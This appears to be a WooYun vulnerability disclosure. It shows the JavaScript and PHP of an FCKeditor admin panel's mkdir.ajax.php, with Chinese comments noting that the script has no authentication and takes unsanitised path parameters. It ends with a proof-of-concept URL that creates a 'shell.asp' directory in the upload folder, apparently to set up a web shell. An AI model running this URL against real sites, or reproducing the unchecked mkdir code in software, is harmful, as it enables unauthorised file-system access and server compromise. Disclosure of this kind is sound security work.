WooYun.org

function addSort(obj) {
 	$(obj).parent().find(‘span’).css(‘display’,'inline-block’);
 	$(obj).css(‘display’,'none’);
 	$(obj).parent().find(‘span > input:first’).focus();
 	}
 	 
 	function newDir(obj) {
 	var pth = $(obj).prev().attr(‘value’);
 	var basepth = $(‘#gtcurdir option:selected’).text();
 	if (pth.replace(/^\s+|\s+$/g,”).length == 0) { //这里对定义的PTH变量进行了判断,(“/^\s+|\s+$/g,”),思路是 判断如果文本框内不算以上字符 长度等于0则继续执行.
 	alert(“请输入字符”);
 	$(obj).prev().focus();
 	return false;
 	} else {
 	$.ajax({
 	type : “GET”,
 	dataType : “text”,
 	url : “../mkdir.ajax.php?basedir=”+basepth+”&newdir=”+pth,//这里直接发送url 基本类型+新文件夹名+文件夹名。
 	success : function(response) {
 	switch (response) {
 	case ’0′:
 	$(obj).prev().val(”);
 	$(obj).parent().css(‘display’,'none’);
 	$(obj).parent().parent().find(‘a’).css(‘display’,'inline-block’);
 	$(‘<option value=”‘+basepth+pth+’/” selected=”true”>’+basepth+pth+’/</option>’).appendTo(‘#gtcurdir’);
 	break;
 	case ‘-1′:
 	alert(“文件夹已存在！”);
 	$(obj).prev().focus();
 	break;
 	case ‘-2′:
 	alert(“新建文件夹失败！”);
 	break;
 	}
 	},
 	error : function(response) {
 	alert(“请求失败！”);
 	return false;
 	}
 	});
 	}

url : “../mkdir.ajax.php?basedir=”+basepth+”&newdir=”+pth,

<?php//！！！竟然没有验证
header(‘Conten-type:text/html; charset=UTF-8′);
define(‘SSFCK’, str_replace(“\\”, “/”, dirname(__FILE__)));
$adminRoot = str_replace(“\\”, “/”, substr(SSFCK, 0, -10));
define(‘SSROOT’, str_replace(“\\”, “/”, realpath($adminRoot.”/..”)));
$err = ’0′;
$basedir = trim($_GET['basedir']);//这里直接GET来自前面那个urlpost来的变量
$newdir = trim($_GET['newdir']);
// is or not exist dir
$hd = dir(“../../”.$basedir);
while(($path = $hd->read()) !== false) {
if ($path == $newdir) {
$err = ‘-1′;
break;
} else continue;
}
if ($err != ‘-1′) {
if (!mkdir(“../../{$basedir}{$newdir}”, 0755)) $err = ‘-2′;
}
echo $err;
?>

http://localhost/admin/fckeditor/mkdir.ajax.php?basedir=upload/image/&newdir=shell.asp